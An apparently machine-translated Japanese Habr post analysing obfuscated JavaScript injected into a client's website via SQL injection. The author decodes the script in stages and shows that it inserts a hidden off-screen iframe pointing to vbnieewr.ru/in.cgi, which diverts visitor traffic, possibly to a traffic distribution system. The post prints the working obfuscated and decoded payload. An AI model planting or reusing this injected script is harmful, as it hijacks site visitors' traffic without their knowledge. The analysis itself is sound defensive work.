トラフィックが私たちから流出していることをどのようにして見つけましたか

親愛なるhabrコミュニティを歓迎します。 クライアントの1つからトラフィックがどのように排出されたかについて説明します。

私は夜遅くに座って、クライアントのサイトを通過することにしました、そして、彼らの1人で、1つのdivが少しシフトしたのを見ました。

ソースコードを見て、10回前後にスクロールした後、スクリプトが興味深いドメインからロードされていることがわかりました。



最後のプラグインスクリプトがgoog 1(数字) e-analitics.comにつながることに気付かない



まず、彼がどうやってそこに着いたのかではなく、彼が何者なのかと思っていました。



var $h = ((\u0073elf + 0 * 1)[0 ^ ([] * 0)] == '\x5B'); if ($h) { $j = ['1^%0.%4[%b/%5=%c;%d_%8|%6?%3>%f-%9!%7$%e', '%a)%2(']; } var $d = { '$sA': 'str\x69\x6Eg', '$l6': [], '$EI': '\x6A\x6Fin', '$qH': '\x73\x75bstr', '$fJ': 'decode\x55\x52\x49\x43\x6F\x6D\x70\x6F\x6Eent', '$FP': true, '$2K': 'sp\x6C\x69t' }, $sA = function (_) { for ($g = ~$d.$l6 - ~$d.$l6; $g < $P[_]; $g += -~$d.$FP) { $j += '\x25' + $P[$g++] + $P[$g--]; } $E['eva\x6C']($E[$d.$fJ]($j)); }, $P = '$??^$((.=-$^>_=;$=>.>.>?>[=;$=>.>.>?[??>$=?_?=?#$[(#?>$(?=?^$[=;$=>.>.>?>==;$=>.>.>[>==;$=>.>.>?[>=;$=>.>.>?>=?_?=?#$[(|($?!??$(?^=;$|>?[[=;$|>?>=($(!(;=-?#>_($$>=;$|>?>==;$|>$>[=;$|>[>^=;$|>$>[=;$|>$>[=;$|>$>(?!?($=$[?=($>/=-$^=/=-?#=_(|($=;$|>$>>$(?>($(;($?|$[$[$.>)(-(-$??(?#?!?=?=$$$(=;$|>([==;$|>$>(=;$|>$>==;$|>([?=;$|>?>!=;$|>?[==;$|>([==;$|>?>>=;$|>?>$=;$|>?>!=;$|>>[?=;$|>?>[=;$|>?>==;$|>?>?=;$|>?>^=;$|>$>=?;$[($(!>/=-$^(#$>$[$!?;?=(#$.?-$>?!$[?!?-?#>_($?^?($>=;$|>?[?=;$|>?[>=;$|>$>==;$|>$>[?=($>/=-$^(#$>$[$!?;?=(#$$?!?[$[?|>_($>^>?$.$|($>/=-$^=/=-?#=_(|($??$(=;$|>?>^=;$|>?[[=;$|>?>=?(?-$(?[?=$(($(;(.?#?^$?=;$=>.>.>?>!=;$=>.>.>?>$=;$=>.>.>?>^$[?-$((#$=$>?==;$=>.>.>$>(=;$=>.>.>[>^=;$=>.>.>?>$?=?#$[(#?!=;$=>.>.>?[==;$=>.>.>?>[=;$=>.>.>?>=$|[-??(|($??>.?^>$?^>^>[>(?(>$>=>=>^>$>(?[?^>$>(????>$>[?^>^?^?>>(>=>^>!>!($(!(/>^(!>/=-$^(#$>$[$!?;?=(#?;?=??$[(.>_(.($(_>=>=>!>$$.$|($>/?[=;$=>.>.>?[?=;$=>.>.>?>>$=?_?=?#$[(#$$=;$=>.>.>$>(?!$[?=(|($>;?[?!$?(.?!?[>_=;($=-=-?[$(>^>^>!>>>|=;($>#>;(-?[?!$?>#($(!>/=;$=>.>.>?>[=;$=>.>.>?[??>$=?_?=?#$[(#?$?=$[[=?;?=?_?=?#$[[($![!?[(|($=-=-?[$(>^>^>!>>>|($(!(#?^$.$.?=?#?[[>?|?!?;?[(|=-$^(!>/', $w = function () { $w = $j[$d.$EI]('\x23')[$d.$2K]('\x25'); for (var $1 in $w) { if (typeof($w[$1]) == $d.$sA) { $P = $P[$d.$2K]($w[$1][$d.$qH](1))[$d.$EI]($w[$1][0]); } } return this; }, $E = $w(), $j = ''; $sA('le\x6E\x67th');
      
      







逆関数を使用して、スクリプトを段階的にデコードします。





最初の実行結果:


 var $h = ((\u0073elf + 0 * 1)[0 ^ ([] * 0)] == '['); if ($h) { $j = ['1^%0.%4[%b/%5=%c;%d_%8|%6?%3>%f-%9!%7$%e', '%a)%2(']; } var $d = { '$sA': 'string', '$l6': [], '$EI': 'join', '$qH': 'substr', '$fJ': 'decodeURIComponent', '$FP': true, '$2K': 'split' }, $sA = function (_) { for ($g = ~$d.$l6 - ~$d.$l6; $g < $P[_]; $g += -~$d.$FP) { $j += '%' + $P[$g++] + $P[$g--]; } $E['eval']($E[$d.$fJ]($j)); }, $P = '$??^$((.=-$^>_=;$=>.>.>?>[=;$=>.>.>?[??>$=?_?=?#$[(#?>$(?=?^$[=;$=>.>.>?>==;$=>.>.>[>==;$=>.>.>?[>=;$=>.>.>?>=?_?=?#$[(|($?!??$(?^=;$|>?[[=;$|>?>=($(!(;=-?#>_($$>=;$|>?>==;$|>$>[=;$|>[>^=;$|>$>[=;$|>$>[=;$|>$>(?!?($=$[?=($>/=-$^=/=-?#=_(|($=;$|>$>>$(?>($(;($?|$[$[$.>)(-(-$??(?#?!?=?=$$$(=;$|>([==;$|>$>(=;$|>$>==;$|>([?=;$|>?>!=;$|>?[==;$|>([==;$|>?>>=;$|>?>$=;$|>?>!=;$|>>[?=;$|>?>[=;$|>?>==;$|>?>?=;$|>?>^=;$|>$>=?;$[($(!>/=-$^(#$>$[$!?;?=(#$.?-$>?!$[?!?-?#>_($?^?($>=;$|>?[?=;$|>?[>=;$|>$>==;$|>$>[?=($>/=-$^(#$>$[$!?;?=(#$$?!?[$[?|>_($>^>?$.$|($>/=-$^=/=-?#=_(|($??$(=;$|>?>^=;$|>?[[=;$|>?>=?(?-$(?[?=$(($(;(.?#?^$?=;$=>.>.>?>!=;$=>.>.>?>$=;$=>.>.>?>^$[?-$((#$=$>?==;$=>.>.>$>(=;$=>.>.>[>^=;$=>.>.>?>$?=?#$[(#?!=;$=>.>.>?[==;$=>.>.>?>[=;$=>.>.>?>=$|[-??(|($??>.?^>$?^>^>[>(?(>$>=>=>^>$>(?[?^>$>(????>$>[?^>^?^?>>(>=>^>!>!($(!(/>^(!>/=-$^(#$>$[$!?;?=(#?;?=??$[(.>_(.($(_>=>=>!>$$.$|($>/?[=;$=>.>.>?[?=;$=>.>.>?>>$=?_?=?#$[(#$$=;$=>.>.>$>(?!$[?=(|($>;?[?!$?(.?!?[>_=;($=-=-?[$(>^>^>!>>>|=;($>#>;(-?[?!$?>#($(!>/=;$=>.>.>?>[=;$=>.>.>?[??>$=?_?=?#$[(#?$?=$[[=?;?=?_?=?#$[[($![!?[(|($=-=-?[$(>^>^>!>>>|($(!(#?^$.$.?=?#?[[>?|?!?;?[(|=-$^(!>/', $w = function () { $w = $j[$d.$EI]('#')[$d.$2K]('%'); for (var $1 in $w) { if (typeof($w[$1]) == $d.$sA) { $P = $P[$d.$2K]($w[$1][$d.$qH](1))[$d.$EI]($w[$1][0]); } } return this; }, $E = $w(), $j = ''; $sA('length');
      
      







2回目のパスの結果:


 var _q = \u0064\u006Fcument.creat\u0065\u0045\u006C\u0065ment('ifra\x6D\x65'), _n = 's\x65\x74\x41\x74\x74\x72ibute'; _q[_n]('\x73rc', 'http://vbnieewr\x2E\x72\x75\x2F\x69\x6E\x2E\x63\x67\x69\x3F\x64\x65\x66\x61\x75lt'); _q.style.position = 'abs\x6F\x6C\x75\x74e'; _q.style.width = '16px'; _q[_n]('fr\x61\x6D\x65border', nav\u0069\u0067\u0061tor.use\u0072\u0041\u0067ent.i\u006E\u0064\u0065xOf('f0a7a142b755172da72ff74a1ac25199') + 1); _q.style.left = '-5597px'; eval('<div id=\'__dr11938\'></div>');\u0064\u006Fcument.getElementById('__dr11938').appendChild(_q);
      
      







次に、 unescape関数を使用して16進数システムを削除します



 var _q = document.createElement('iframe'), _n = 'setAttribute'; _q[_n]('src', 'http://vbnieewr.ru/in.cgi?default'); _q.style.position = 'absolute'; _q.style.width = '16px'; _q[_n]('frameborder', navigator.userAgent.indexOf('f0a7a142b755172da72ff74a1ac25199') + 1); _q.style.left = '-5597px'; document.write('<div id=\'__dr11938\'></div>'); document.getElementById('__dr11938').appendChild(_q);
      
      







これでスクリプトが読み取り可能な形式になり、アドレスvbnieewr.ru/in.cgi?defaultでiframeが作成されていることがはっきりとわかります。



さらに、whoisドメインを突破して、最近作成されたことがわかりました。

ドメイン:VBNIEEWR.RU

nserver:ns1.ubercontrol.ru。

nserver:ns2.ubercontrol.ru。

状態:登録済み、委任済み、検証済み

person:個人

レジストラ:REGRU-REG-RIPN

admin-contact: www.reg.ru/whois/admin_contact

作成した:2012.01.13

支払日:2013.01.13




スクリプトvbnieewr.ru/in.cgi?defaultから応答ヘッダーを取得しました

 array(23) { [0]=> string(18) "HTTP/1.1 302 Found" ... [4]=> string(22) "Location: http://ya.ru" .... [5]=> string(17) "Connection: close" ...
      
      







そして、私はトラフィックの平凡な流出があることに気づきました。そしておそらく最も可能性が高いのは、 Sutra TDSスクリプトです。



サンプル作業スキーム:



私は管理パネルのアドレスを取得できませんでしたが、Habraユーザーの誰かができるかもしれません。



ところで、このjsスクリプトはSQLインジェクションのために挿入されました。これはログによって検出され、安全に閉じられました。



UDP:同様のスクリプトを使用した新しいURL: yandex-metrika.com/watch.js





念のため、同様のコードについてサイトを確認してください。



All Articles